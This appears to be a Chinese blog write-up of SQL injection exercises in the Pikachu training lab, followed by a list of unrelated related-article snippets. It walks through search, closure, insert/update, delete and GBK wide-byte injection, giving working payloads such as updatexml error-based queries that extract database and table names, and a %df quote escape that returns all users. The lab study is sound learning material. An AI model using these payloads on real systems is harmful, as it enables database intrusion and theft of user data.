pikachu之特殊注入之搜索型注入、xx型注入、insert/update注入、delete注入、宽字节注入
一步一脚印!!!
补充:此处为什么不写http请求头注入,因为该注入类型只是换了注入点,语句其他根本没有什么变化
1.搜索型
先尝试输入常用payload: 1' or 1=1 #。
已经有回显
我们在查看提示
我们输入%%,发现跟之前的回显一致
查看源码
发现此处就是一个模糊匹配搜索的方式
但是一般我们不可能看到源码,所以通过大概的语法报错来确定
输入payload:1'
%''
这个特定的错误片段可能意味着你在使用百分号(%)作为通配符进行模糊匹配时,出现了单引号不匹配或者其他与字符串相关的错误,可以联想到模糊匹配。
%
在 LIKE 子句中是一个非常灵活的通配符,可以用来表示前导、中间和尾随的任意数量字符,包括零个字符的情形。实例:like '%a' (以a结尾) ,'%a%'(包含a) , 'a%'(以a开头)
2.xx型注入
先试试: 1' or 1=1#
报错了,也没有提示
换成 1'
怀疑还需要括号进行闭合
重新复盘payload:1') or 1=1#
成功了!
返回来看提示
总结:考闭合思路!!!
3.insert/update注入
还是先注册
边注册边抓包看,怀疑尝试注入点,尝试常用payload:1' or 1=1#
根据右边的报错,可得应该是闭合错误了,不过一定要有单引号,于是尝试 '",'),发现')有不同的回显,说明闭合方式就为')
发现列数不对,加入列数,得到:
username=1','2','3','4','5','6') #&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit
列数对了,我们试着插入报错语句
username=1','updatexml(1,concat('~',(select database())))','3','4','5','6') #&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit,并没有效果
然后我们现在回想为什么题目是insert/update注入,此处注册其实就是使用insert/update语句对数据库进行数据插入更新以来注册账户,所以我们可以大致推算,此处语句可能类似如下:
insert into users values ('id','usename','password');
此语句也印证了上述闭合
所以有了大致的思路,我们试着闭合语句和进行报错注入,此处插入or'的原因是保证语法正确
username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
该语句插入后语句变为了
insert into users values ('1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or’ ','usename','password');
此时该语句是不会进行语法报错的,同时or可以换为and
爆表:
依次爆表
username=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
或者
直接爆表:
username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
但是其实直接爆库并没有爆出所有的表,这是因为group_concat的限制,只能返回32个字符,所以此处我们要使用截断函数substr函数进行进一步的把表爆完整
所以改为:(此处substr后面的两个参数我是随便填的)
username=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),25,20),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
爆列语句我就不演示了,类比爆表的语句就行了
update注入
update注入其实就是登录后修改个人信息处进行报错注入,语句跟上述insert语句一模一样,就不多做演示了
4.delete注入
既然是delete,那我们就先留个言吧,你不会真信了吧,作为一个网安人,怎么可能放过可能的注入点呢,悄悄告诉你,其实submit的内容我也试过了,并不是注入点哟!
删除留言的同时抓包:
发现一个id参数,字符型注入做多了,这道题我做了好久才发现居然是数值型注入
只好重新走流程了,此处需要注意,需要将注入语句在一些地方加入编码,不能出现空格等
所以我们直接先进行判断字符型还是数值型,
and 1=1
' and '1'='1
此处我已经试过是数值型注入了,具体步骤如下,不过其实就是当你发现无论咋么闭合都不管用时,就必须考虑到数值型注入了,当然如果一来就判断是最好的。
介于该注入输入正确的代码时会直接删除留言,所以在repeat模块中其实并不好进行多次输入验证,所以只能每写一个payload,就要重新抓一次包(仅仅是在验证时,后面就可以使用repeat模块)
我这里其实是多次输入payload,减懒了,从中看出
难得做到一道数值型注入,就强化一下吧
爆库:
+or+updatexml(1,concat(0x7e,(select+database())),1) ---此处不用加#,因为数值型注入
爆表:
+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),1)
加上
+or+updatexml(1,concat(0x7e,substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),25,30)),1)
爆列就不演示了,自己演示哟!!
5.宽字节注入
什么是宽字节
如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节
- 像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
- 英文默认占一个字节,中文占两个字节
宽字节注入使用条件
PHP发送请求到MySql时使用了语句SET NAMES 'gbk' 或是set character_set_client =gbk 进行了一次编码
宽字节注入的使用原因
单引号、双引号等特殊字符被转义
宽字节注入原理
在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);
在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;
可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;
%5c被吃掉了,单引号由此逃逸可以用来闭合语句。
使用PHP函数iconv(‘utf-8’,‘gbk’,$_GET[‘id’]),也可能导致注入产生
看题目
根据提示来,查询并抓包
然后直接上常用的宽字节payload:kobe%df' or 1=1#
即可查询到所有用户!!!
留言
但是这种情形一般我们不可能直接知道它是宽字节注入....,只能多做尝试,才能明白,网安人的必备就是勤劳的双手!!!文章到此就结束了,祝你们学习顺利!!!
相关文章:

pikachu之特殊注入之搜索型注入、xx型注入、insert/update注入、delete注入、宽字节注入
一步一脚印!!! 补充:此处为什么不写http请求头注入,因为该注入类型只是换了注入点,语句其他根本没有什么变化 1.搜索型 先尝试输入常用payload: 1 or 11 #。 已经有回显 我们在查看提示 我们…...

docker构建hyperf环境
一,构建hyperf 镜像 官网git https://github.com/hyperf/hyperf-docker 使用dockerfile构建镜像 根据需要这里我使用8.1 swoole版本的镜像 在/home/hyperfdocker 目录中新建一个Dockerfile文件,将这个git上的Dockerfile内容复制粘贴进去 docker build…...
WPF常用mvvm开源框架介绍 vue的mvvm设计模式鼻祖
WPF(Windows Presentation Foundation)是一个用于构建桌面应用程序的.NET框架,它支持MVVM(Model-View-ViewModel)架构模式来分离UI逻辑和业务逻辑。以下是一些常用的WPF MVVM开源框架: Prism Prism是由微软…...
HTML <script>元素的10个属性
将javascrip插入HTML的主要方法是使用<script>元素,这个元素是网景公司(Netscape)创造出来的,script 元素所属类型因其用法而异。位于 head 元素中的 script 元素属于元数据元素,位于其他元素(如 bod…...

NX二次开发:ListingWindow窗口的应用
一、概述 在NX二次开发的学习中,浏览博客时发现看到[社恐猫]和[王牌飞行员_里海]这两篇博客中写道有关信息窗口内容的打印和将窗口内容保存为txt,个人人为在二次开发项目很有必要,因此做以下记录。 ListingWindow信息窗口发送信息四种位置类型 设置Listi…...

设计模式-结构型模式-外观模式
外观模式(Facade),为子系统中的一组接口提供一个一致的界面,此模式定义了一个高层接口,这个接口使得这一子系统更加容易使用。[DP] 首先,定义子系统的各个组件接口和具体实现类: // 子系统组件接…...
C++学习第四天(类与对象下)
1、构造函数的其他知识 构造函数体赋值 在创建对象时,编译器通过调用构造函数,给对象中各个成员变量一个合适的初始值 构造函数调用之后,对象中已经有了一个初始值,但是不能将其称为对对象中成员变量的初始化,构造函…...

【AI Agent系列】【MetaGPT多智能体学习】0. 环境准备 - 升级MetaGPT 0.7.2版本及遇到的坑
之前跟着《MetaGPT智能体开发入门课程》学了一些MetaGPT的知识和实践,主要关注在MetaGPT入门和单智能体部分(系列文章附在文末,感兴趣的可以看下)。现在新的教程来了,新教程主要关注多智能体部分。 本系列文章跟随《M…...

python自动化管理和zabbix监控网络设备(无线AC控制瘦ap配置部分)
目录 前言 拓扑 一、AC-SW1 二、Core-sw1 三、Core-sw2 四、汇聚层 五、AC1 六、SW1-6 七、DMZ区域 前言 具体原理和操作可以访问我的主页视频 白帽小丑的个人空间-白帽小丑个人主页-哔哩哔哩视频 拓扑 一、AC-SW1 sys sysname AC-SW1 vlan batch 100 200 210 220 2…...

XSS中级漏洞(靶场)
目录 一、环境 二、正式开始闯关 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08 0x0B 0x0C 0x0D 0x0E 0x0F 0x10 0x11 0x12 一、环境 在线环境(gethub上面的) alert(1) 二、正式开始闯关 0x01 源码: 思路:闭…...
etcd java 客户端jetcd库踩坑日志
问题 Q: EtcdException: Unable to resolve endpoints [http://0.0.0.0:2379/] A: 经过测试,endpoints最后的斜杠不能写,完整的endpoints是http://0.0.0.0:2379 Q: java.lang.NoSuchMethodError: io.netty.buffer.Po…...

<网络安全>《61 微课堂<第1课 南北向流量是什么?>》
1 形象化解释 在网络安全中,经常听到南北向流量这个词。那究竟是什么意思呢? 这里的南北,就是地图上的东西南北,是方向。我们在画网络架构图时,往往是由上到下依次是web层、应用层、数据层,流量从web层到…...

Day12-【Java SE进阶】JDK8新特性:Lambda表达式、方法引用、常见算法、正则表达式、异常
一、JDK8新特性 1.Lambda表达式 Lambda表达式是JDK 8开始新增的一种语法形式;作用:用于简化名内部类的代码写法。 注意:Lambda表达式并不是说能简化全部匿名内部类的写法,只能简化函数式接口的匿名内部类。 有且仅有一个抽象方法的接口。注意:将来我们见到的大部…...
go mod中如何解决 xxx/yyy/lib@v1.1.0: unrecognized import path
需要检查的几个地方 这个错误通常出现在 Go 模块系统无法找到指定版本的模块时。有几种可能的原因和解决方法: 模块未被发布或标记: 确保 xxx/yyy/lib 模块的版本 v1.1.0 已经被正确地发布或标记。你可以在对应的 GitLab 仓库中查看是否存在 v1.1.0 标签…...
比较Python和Rust的内存管理机制
大家好,内存管理是编程语言的基础,它确保着资源被有效利用,不同的编程语言采用不同的策略来管理内存。有些语言需要程序员手动管理内存,有些语言则自动化了内存管理过程。Python和Rust都采用了垃圾收集(Garbage Collec…...

Linux系统——Shell脚本——一键安装LNMP
#!/bin/bash #安装nginx echo "安装nginx服务" wget http://nginx.org/download/nginx-1.11.4.tar.gz &>/dev/null if [ $? -eq 0 ] thenecho "nginx-1.11.4安装包下载完成"echo "--开始安装必要的依赖文件--"yum install -y gcc gcc-c…...
算法复习之二分【备战蓝桥杯】
二分模板一共有两个,分别适用于不同情况。 算法思路:假设目标值在闭区间[l, r]中, 每次将区间长度缩小一半,当l r时,我们就找到了目标值。 版本一 当我们将区间[l, r]划分成[l, mid]和[mid 1, r]时,其更…...

如何做代币分析:以 SHIB 币为例
作者:lesleyfootprint.network 编译:cicifootprint.network 数据源:SHIB Token Dashboard (仅包括以太坊数据) 在加密货币和数字资产领域,代币分析起着至关重要的作用。代币分析指的是深入研究与代币相关…...

Springboot+vue的考勤管理系统(有报告)。Javaee项目,springboot vue前后端分离项目。
演示视频: Springbootvue的考勤管理系统(有报告)。Javaee项目,springboot vue前后端分离项目。 项目介绍: 采用M(model)V(view)C(controller)三层…...

https://htmlunit.sourceforge.io/
https://htmlunit.sourceforge.io/ 爬虫 HtmlUnit – Welcome to HtmlUnit HtmlUnit 3.11.0 API https://mvnrepository.com/artifact/net.sourceforge.htmlunit/htmlunit/2.70.0 https://s01.oss.sonatype.org/service/local/repositories/releases/content/org/htmlunit…...
基于Uniapp开发HarmonyOS 5.0旅游应用技术实践
一、技术选型背景 1.跨平台优势 Uniapp采用Vue.js框架,支持"一次开发,多端部署",可同步生成HarmonyOS、iOS、Android等多平台应用。 2.鸿蒙特性融合 HarmonyOS 5.0的分布式能力与原子化服务,为旅游应用带来…...
Golang dig框架与GraphQL的完美结合
将 Go 的 Dig 依赖注入框架与 GraphQL 结合使用,可以显著提升应用程序的可维护性、可测试性以及灵活性。 Dig 是一个强大的依赖注入容器,能够帮助开发者更好地管理复杂的依赖关系,而 GraphQL 则是一种用于 API 的查询语言,能够提…...
AI编程--插件对比分析:CodeRider、GitHub Copilot及其他
AI编程插件对比分析:CodeRider、GitHub Copilot及其他 随着人工智能技术的快速发展,AI编程插件已成为提升开发者生产力的重要工具。CodeRider和GitHub Copilot作为市场上的领先者,分别以其独特的特性和生态系统吸引了大量开发者。本文将从功…...

select、poll、epoll 与 Reactor 模式
在高并发网络编程领域,高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表,以及基于它们实现的 Reactor 模式,为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。 一、I…...

全志A40i android7.1 调试信息打印串口由uart0改为uart3
一,概述 1. 目的 将调试信息打印串口由uart0改为uart3。 2. 版本信息 Uboot版本:2014.07; Kernel版本:Linux-3.10; 二,Uboot 1. sys_config.fex改动 使能uart3(TX:PH00 RX:PH01),并让boo…...

处理vxe-table 表尾数据是单独一个接口,表格tableData数据更新后,需要点击两下,表尾才是正确的
修改bug思路: 分别把 tabledata 和 表尾相关数据 console.log() 发现 更新数据先后顺序不对 settimeout延迟查询表格接口 ——测试可行 升级↑:async await 等接口返回后再开始下一个接口查询 ________________________________________________________…...

抽象类和接口(全)
一、抽象类 1.概念:如果⼀个类中没有包含⾜够的信息来描绘⼀个具体的对象,这样的类就是抽象类。 像是没有实际⼯作的⽅法,我们可以把它设计成⼀个抽象⽅法,包含抽象⽅法的类我们称为抽象类。 2.语法 在Java中,⼀个类如果被 abs…...
十九、【用户管理与权限 - 篇一】后端基础:用户列表与角色模型的初步构建
【用户管理与权限 - 篇一】后端基础:用户列表与角色模型的初步构建 前言准备工作第一部分:回顾 Django 内置的 `User` 模型第二部分:设计并创建 `Role` 和 `UserProfile` 模型第三部分:创建 Serializers第四部分:创建 ViewSets第五部分:注册 API 路由第六部分:后端初步测…...
书籍“之“字形打印矩阵(8)0609
题目 给定一个矩阵matrix,按照"之"字形的方式打印这个矩阵,例如: 1 2 3 4 5 6 7 8 9 10 11 12 ”之“字形打印的结果为:1,…...

【大模型】RankRAG:基于大模型的上下文排序与检索增强生成的统一框架
文章目录 A 论文出处B 背景B.1 背景介绍B.2 问题提出B.3 创新点 C 模型结构C.1 指令微调阶段C.2 排名与生成的总和指令微调阶段C.3 RankRAG推理:检索-重排-生成 D 实验设计E 个人总结 A 论文出处 论文题目:RankRAG:Unifying Context Ranking…...